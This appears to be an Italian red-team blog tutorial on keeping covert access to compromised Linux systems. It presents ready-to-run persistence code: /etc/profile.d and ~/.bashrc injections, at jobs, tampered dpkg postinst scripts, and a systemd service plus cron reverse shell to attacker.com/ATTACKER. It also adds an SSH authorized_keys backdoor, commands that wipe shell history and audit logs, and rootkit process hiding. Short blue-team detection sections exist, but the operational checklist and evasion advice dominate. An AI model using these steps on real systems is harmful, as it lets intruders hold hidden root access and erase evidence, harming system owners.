Come attacker, se comprometti il sistema (anche come utente regolare), puoi aggiungere uno script in /etc/profile.d/. Ogni volta che chiunque fa login (admin, root, altri user), il tuo script viene eseguito con i permessi di quell’utente.

Scenario:

  1. Attacker compromette il sistema come user regolare (wwwweb, nginx, etc.)
  2. Attacker aggiunge un file in /etc/profile.d/ (readable by all, writable by attacker)
  3. Admin fa login via SSH
  4. Bash carica il file di attacker da /etc/profile.d/
  5. Lo script di attacker viene eseguito come root (con i permessi di admin)

Questo è devastante perché:

  • Admin ha permessi per scrivere in /etc/profile.d/? Sì, ma spesso non monitora cosa c’è lì
  • Lo script viene eseguito con i permessi dell’utente che fa login, non con permessi di attacker
  • Se root fa login, lo script gira come root

Blocco 10.2: Come /etc/profile.d/ Funziona Nel Dettaglio #

Il file /etc/profile contiene una linea che dice al bash:

bash
# Carica tutti i .sh file da /etc/profile.d/
if [ -d /etc/profile.d ]; then
    for i in /etc/profile.d/*.sh; do
        if [ -r "$i" ]; then
            . "$i"  # Esegui il file
        fi
    done
fi

La linea . "$i" significa “source il file” – esegui il contenuto del file come se fosse digita dalla shell.

Implicazione: Qualunque file .sh che un attacker mette in /etc/profile.d/ viene automaticamente sourced e eseguito per ogni login di ogni utente.

Blocco 10.3: La Rilevanza Della Persistenza #

PANIX malware (Elastic research 2024) usa questo vettore. Lo script rimane in /etc/profile.d/, quindi:

  • Sopravvive ai reboot (il file è su disco)
  • Non è un processo persistente (non rimane in memoria)
  • Viene eseguito ogni volta che qualunque utente fa login

Se un admin fa login una volta a settimana, lo script viene eseguito una volta a settimana. Se nessuno fa login, non viene eseguito finché qualcuno non loga.

Blocco 10.4: Setup Operativo #

Come attacker:

bash
# Crea uno script che sembra legittimo
cat > /etc/profile.d/10-system-updates.sh << 'EOF'
#!/bin/bash
# Sistema di update (sembra legittimo, in realtà è backdoor)

# Esegui il backdoor in background (il & fa in modo che non blocchi il login)
/usr/local/bin/.checker &

# Opzionale: Connessione reverse shell
# bash -i >& /dev/tcp/attacker.com/4444 0>&1 &
EOF

chmod 644 /etc/profile.d/10-system-updates.sh

Naming: Usa un nome che sembra di sistema (10-, 20-, numerazione come script reali). Spesso gli script di sistema cominciano con numeri.

Blocco 10.5: User-Level Variant – ~/.bashrc / ~/.bash_profile #

Un attacker che ha accesso a un utente specifico può modificare il file .bashrc o .bash_profile dell’utente:

bash
# Se sei compromesso come user "bob"
echo 'bash -i >& /dev/tcp/attacker.com/4444 0>&1 &' >> ~/.bashrc

# Ogni volta che bob fa login o apre una shell, il backdoor viene eseguito

Differenza da /etc/profile.d:

  • /etc/profile.d è di sistema, affetta tutti gli utenti
  • ~/.bashrc è per un utente specifico, meno visibile se l’attacker è già quell’utente

Limitazione della persistenza: Se l’attacker non è root, non può mettere file in /etc/profile.d (require root). Può solo modificare il proprio ~/.bashrc (o altri user se ha accesso).

Blocco 10.6: Detection Vs. Stealth #

Blue Team:

bash
# Monitora /etc/profile.d per file sospetti
ls -la /etc/profile.d/

# Leggi il contenuto (spesso ci sono script di sistema legittimi)
cat /etc/profile.d/*

# Monitoring: usa file integrity monitoring (FIM) per alertare su file nuovi in /etc/profile.d
aide --check

Red Team Evasion:

  • Usa nome innocuo (20-system-check.sh, 10-language-setting.sh)
  • Commenti al file per far sembrare legittimo
  • Metti il backdoor in background (con &) per non bloccare il login
  • Combina con altri vettori (se uno viene scoperto, gli altri rimangono)

11. At Command Scheduling – Timed Job Execution #

Blocco 11.0: Il Comando at E Come Funziona – Il Scheduling One-Time #

Il comando at è un scheduler di job per Linux. A differenza di cron (che esegue job ricorrenti a intervalli regolari), at esegue un job una sola volta a un orario specifico.

Come funziona:

  1. Utente digita echo "comando" | at 14:30 (esegui “comando” alle 14:30 oggi)
  2. Il kernel scrive il job in /var/spool/at/ (directory dei job schedulati)
  3. Un daemon chiamato atd (at daemon) rimane acceso e monitora questa directory
  4. Quando arriva l’orario (14:30), atd esegue il comando
  5. Dopo l’esecuzione, il job è rimosso dalla spool

Differenza da cron:

  • cron: Esegui “ogni giorno alle 14:30” (ricorrente)
  • at: Esegui “oggi alle 14:30” (una volta)

Blocco 11.1: Perché Un Attacker Usarebbe at Invece Di Cron #

  1. Less obvious: Pochi admin controllano atq (list at jobs) durante incident response. Controllano cron, ma dimenticano at.
  2. Timing specifico: Se l’attacker sa che admin è assente lunedì, schedula il malware per lunedì sera. Silenziosamente.
  3. No repeating pattern: Cron lascia tracce di esecuzione ricorrente (multipli run in log). At non lascia questo pattern visibile.
  4. Deniable: “Ah, quell’at job? Qualcuno l’ha schedulato per sbaglio. È solo un job. Non è persistence.”

Blocco 11.2: Come Sono Salvati I Job – La Spool Directory #

Ogni job at è salvato come un file in /var/spool/at/:

bash
ls -la /var/spool/at/
# Output:
# -rw-------  1 root root      123  Jun 21 14:30 a123456789.example
# -rw-------  1 user user      456  Jun 21 15:00 a123456790.example

Il nome del file è il timestamp quando il job deve girare (unixtime). Il contenuto del file è lo script da eseguire.

bash
# Leggi il contenuto di un at job
cat /var/spool/at/a123456789.example
# Output:
#!/bin/sh
bash -i >& /dev/tcp/attacker.com/4444 0>&1

Implicazione: Se elimini il job dalla spool directory, sparisce. Ma se l’attacker rimette il file, atd lo rischedula.

Blocco 11.3: Setup Operativo – Scheduling Un Job #

Come attacker:

bash
# Schedula un comando per un orario specifico
echo "/usr/local/bin/.beacon start" | at 22:30

# Oppure con delay relativo (tra 1 ora)
echo "/usr/local/bin/.beacon start" | at now + 1 hour

# Schedula un job per domani alle 03:00 (quando nessuno controlla)
echo "bash -i >& /dev/tcp/attacker.com/4444 0>&1" | at 03:00 tomorrow

# Opzionale: Schedula ogni giorno (richiede loop o multipli at jobs)
# (Nota: at da solo non fa ricorrenza, ma l'attacker può schedulare 365 job, uno per ogni giorno)
echo "/usr/local/bin/.beacon start" | at 03:00 next Monday
echo "/usr/local/bin/.beacon start" | at 03:00 next Tuesday
# ... etc

Timing strategico:

  • 22:30 / 03:00: Ore non-lavorative, meno likelihood che qualcuno controlla
  • tomorrow: Attacker sa che oggi non avrà tempo di monitorare, domani il job gira di nascosto

Blocco 11.4: At + /etc/profile.d Combo – PANIX Tradecraft #

PANIX (Elastic research 2024) usa una combo:

bash
# Fase 1: Inietta backdoor in /etc/profile
echo 'bash -i >& /dev/tcp/attacker.com/4444 0>&1 &' >> /etc/profile

# Fase 2: Schedula un job per "forzare" il login di un admin
echo "su --login root" | at 10:30 tomorrow

# Cosa succede:
# - Alle 10:30 domani, atd esegue "su --login root"
# - Questo triggera una login shell per root
# - /etc/profile viene sourced (come parte del login sequence)
# - Il backdoor in /etc/profile viene eseguito come root
# - Attacker ha root shell

Brillantezza: Combina due vettori:

  1. /etc/profile.d injection (il backdoor)
  2. at job (il trigger)

Se un admin scopre il backdoor in /etc/profile.d e lo rimuove, il at job rimane e può triggerare di nuovo. Ridondanza.

Blocco 11.5: Persistenza Attraverso Reboot #

I job at sopravvivono ai reboot perché sono salvati su disco in /var/spool/at/. Quando il sistema rebootat:

  1. Kernel si avvia
  2. atd daemon si avvia (come servizio standard)
  3. atd legge tutti i file in /var/spool/at/
  4. Per ogni job il cui orario è passato, atd lo esegue
  5. Continuano come normali

Implicazione: Se hai schedulato un job per “domani alle 3:00” e il sistema crasha prima di quell’orario, la job viene comunque eseguita dopo il reboot (se il reboot avviene dopo le 3:00).

Blocco 11.6: Limitazioni Della Persistenza #

  1. Time-limited: Un job at è una sola volta. Dopo che viene eseguito, è done. Non gira più. Se l’attacker ha bisogno di persistence continuativa, deve schedulare multipli job (uno per ogni giorno, es.), che è noioso.
  2. Requiresa attivo atd: Se l’admin disabilita il servizio atd (systemctl disable atd; systemctl stop atd), i job at non vengono eseguiti. Cron rimane una fallback migliore.
  3. Logs: at lascia tracce in /var/log/cron o /var/log/auth.log (dipende da configurazione). Un admin che controlla questi log può vedere “atd: did job 123”.

12. Package Manager Backdoors – Exploit Durante Update #

Blocco 12.0: Come Funzionano I Postinstall Scripts – Il Meccanismo #

Quando installi un pacchetto con apt-get install sudo o yum install sudo, il package manager:

  1. Scarica il pacchetto (file .deb o .rpm)
  2. Estrae i file binari e di configurazione
  3. Esegue uno script di postinstallazione (postinst, post-install) che fa setup finale (crea utenti, imposta permessi, etc.)
  4. Segna il pacchetto come installato

Questi script di postinstallazione sono stored dentro il pacchetto e sono eseguiti come root (per fare setup che richiede privilegi).

Dove sono salvati i metadati dei pacchetti:

  • Debian/Ubuntu: /var/lib/dpkg/info/ contiene directory per ogni pacchetto installato
    • Esempio: /var/lib/dpkg/info/sudo.postinst è lo script di postinstallazione di sudo
  • Red Hat/CentOS: /var/lib/rpm/ salva info RPM (meno leggibile direttamente)

Blocco 12.1: Come Un Attacker Sfrutta Questo #

Se comprometti il sistema e sai che il postinst script di un pacchetto sarà eseguito nuovamente (durante un update), puoi modificare lo script di postinstallazione per aggiungere backdoor.

Scenario:

  1. Attacker compromette il sistema (root access)
  2. Attacker modifica /var/lib/dpkg/info/sudo.postinst e aggiunge un comando malevolo
  3. L’admin (ignaro) fa apt-get update; apt-get upgrade sudo (per patchare vulnerabilità)
  4. Durante l’upgrade, package manager esegue il postinst script (il tuo modificato)
  5. Il tuo comando backdoor viene eseguito come root
  6. Attacker rimane persistence

Blocco 12.2: Setup Operativo #

Come attacker:

bash
# Modifica il postinst script di sudo
cat >> /var/lib/dpkg/info/sudo.postinst << 'EOF'
# Aggiungi il backdoor alla fine (dopo gli altri comandi di setup)
bash -i >& /dev/tcp/attacker.com/4444 0>&1 &
EOF

# Oppure modifica uno più piccolo che viene raramente updatato
cat >> /var/lib/dpkg/info/curl.postinst << 'EOF'
/usr/local/bin/.beacon start &
EOF

# Su Red Hat, è più complicato (RPM scripts sono embedded), ma è possibile
# Se il sistema ha `/etc/rpm/macros.d/`, puoi aggiungere macro custom che girano al install

Timing della persistenza:

  • Ogni volta che quel pacchetto viene aggiornato (apt-get upgrade sudo), il postinst viene eseguito di nuovo
  • Se il pacchetto non viene mai aggiornato, il backdoor non viene triggerato (non è “true” persistence)
  • Attacker dipende dal fatto che l’admin faccia aggiornamenti di sistema (che succede regolarmente)

Blocco 12.3: Perché È Raro e Difficile #

  1. Manutenzione: L’attacker deve tenere traccia di quali postinst scripts ha modificato. Se l’admin nota il file modificato, può rimuovere la backdoor.
  2. Not reliable: Non è garantito che il pacchetto venga aggiornato. Se non viene aggiornato mai, la backdoor non viene triggerata.
  3. Detectable: Se un admin esegue un controllo di integrità sui file in /var/lib/dpkg/info/, può scoprire che il postinst è stato modificato.

Per ripristinare il file originale del pacchetto:

bash
apt-get install --reinstall -y sudo

Questo è altamente avanzato ma possible.

### Blue Team Detection

```bash
# Monitora systemd services nuovi
auditctl -w /etc/systemd/system -p wa -k systemd-changes

# Monitora cron
auditctl -w /etc/cron.d -p wa -k cron-changes
auditctl -w /var/spool/cron -p wa -k crontab-changes

# Monitora SSH authorized_keys
auditctl -w /home -p wa -k ssh-keys
auditctl -w /root/.ssh -p wa -k root-ssh

# Monitora kernel modules
auditctl -a always,exit -F arch=b64 -S init_module -S delete_module -k kernel-modules

Red Team Evasion #

bash
# Usa nomi innocui
# /usr/local/bin/.netmon → sembra sistema
# /opt/.check-beacon → sembra app legittima

# Rimuovi history dopo aver installato persistence
unset HISTFILE
history -c -w

# Cancella audit logs
cat /dev/null > /var/log/audit/audit.log 2>/dev/null

# Nascondi processi nel kernel (se LKM installed)
insmod diamorphine.ko
# Dopo, echo PID > /proc/diamorphine per nascondere

14. Checklist Operativa #

Root access ottenuto. Persistence SUBITO:

bash
# 1. Systemd service (5 sec, massimo stealth)
cat > /etc/systemd/system/monitor.service << 'EOF'
[Unit]
Description=Monitor
[Service]
Type=simple
ExecStart=/bin/bash -c "bash -i >& /dev/tcp/ATTACKER/4444 0>&1"
Restart=always
[Install]
WantedBy=multi-user.target
EOF
systemctl daemon-reload && systemctl enable monitor && systemctl start monitor

# 2. Cron backup
echo "*/5 * * * * bash -i >& /dev/tcp/ATTACKER/4444 0>&1" | crontab -

# 3. SSH backdoor
mkdir -p /root/.ssh
echo "ssh-rsa AAAA...KEY attacker@persist" >> /root/.ssh/authorized_keys

# 4. Cleanup
unset HISTFILE && history -c -w

15. FAQ #

D: Quale è il metodo più stabile? R: Systemd service. Sopravvive sempre ai reboot, è integrato, è LOTL. Se il sistema usa systemd (99% dei casi moderni), funziona.

D: E se non ho accesso root? R: Cron user-level, SSH authorized_keys, git hooks. Meno potenti, ma funzionano. Se sei un utente regolare, cron è il tuo amico.

D: SSH non è rischioso? L’admin potrebbe vedere le authorized_keys. R: Sì, ma probabilmente non guarda. Se vuoi stealth, metti anche una backdoor systemd. Dual persistence.

D: LKM vs eBPF — quale scelgo? R: eBPF se kernel 5.1+. È più moderno, non lascia tracce di .ko file, più difficile da rilevare. LKM è più compatibile su kernel vecchi.

D: Come so se la mia persistence è ancora attiva? R: Se il sistema rebootat e ricevi una reverse shell, funziona. Altrimenti controlla: systemctl status monitor, crontab -l, ls -la /root/.ssh/authorized_keys.

D: Cosa succede se l’admin installa un AV/EDR? R: Systemd service potrebbe essere killato, cron potrebbe essere monitorato, SSH backdoor potrebbe essere rilevato. Multipla persistence: se uno fallisce, gli altri funzionano. Più layer = più difficile eliminarti.

16. Call-To-Action #

Per red teamers:

  • Multipla persistence sempre: systemd + SSH + cron
  • Nomi innocui: sembra sistema, non backdoor
  • Pulisci history subito dopo

Per blue team:

  • Monitor /etc/systemd/system/ per nuovi servizi
  • Monitor SSH authorized_keys per chiavi non autorizzate
  • Check cron jobs insoliti con systemctl list-timers
  • Abilita auditd per tutti i cambiamenti system-level

Studio:

  • linux-security-evasion: Come coprire le tracce DOPO aver stabilito persistenza
  • linux-enumeration: Come scoprire persistence che altri hanno installato
  • MITRE ATT&CK T1547 (Boot or Logon Autostart Execution): Formalizzazione delle tecniche

Risorse Esterne #


Conclusioni #

Linux persistence è semplice se usi gli strumenti giusti:

  1. Systemd service = affidabilità massima, LOTL, non richiede user interaction
  2. Cron = backup, fallback, universale
  3. SSH backdoor = accesso diretto, sopravvive ai reset password
  4. LKM/eBPF = stealth massimo, invisibile a tools userspace
  5. Multipla = se uno fallisce, gli altri funzionano

La chiave: nomi innocui, multipli layer, pulizia subito dopo. Un sistema compromesso senza persistence è un sistema compromesso temporaneamente. Un sistema con persistence è una base operativa duratura.

#Linux Persistence #Post-Exploitation #Systemd #Cron #OSEP

lascia un messaggio

Non sono un robot